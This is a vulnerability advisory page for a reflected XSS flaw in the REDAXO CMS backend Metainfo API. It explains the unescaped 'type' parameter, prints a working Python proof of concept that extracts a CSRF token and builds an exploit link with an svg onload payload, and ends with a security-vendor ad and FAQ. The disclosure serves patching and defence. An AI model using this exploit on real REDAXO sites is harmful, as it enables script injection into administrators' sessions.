REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required) — redaxo / source
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The type parameter is concatenated into an API error message and rendered without HTML escaping.
Details
Root cause
User input type is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.
Vulnerable code (redaxo/src/addons/metainfo/lib/handler/api_default_fields.php) :
$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));
Sink (redaxo/src/core/lib/view.php) :
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';
Data flow source -> sink
- Source :
type(GET) - Propagation : concatenated into the exception message
- Sink : rendered via
rex_view::error()->rex_view::message()without escaping
Authentication required : yes (backend session)
PoC - exploit
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\"><svg/onload=alert("pwned")>'
def build_backend_url() -> str:
base = TARGET_URL.rstrip("/")
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
if not m:
raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
fragment = m.group(0).replace("&amp;", "&")
token_match = re.search(r"_csrf_token=([^&]+)", fragment)
if not token_match:
raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
return token_match.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Admin backend session required
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "metainfo/articles",
"rex-api-call": "metainfo_default_fields_create",
"type": PAYLOAD,
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.
Impact
- Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Video
https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83
| Software | From | Fixed in |
|---|---|---|
redaxo / source
|
- | 5.21.0 |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.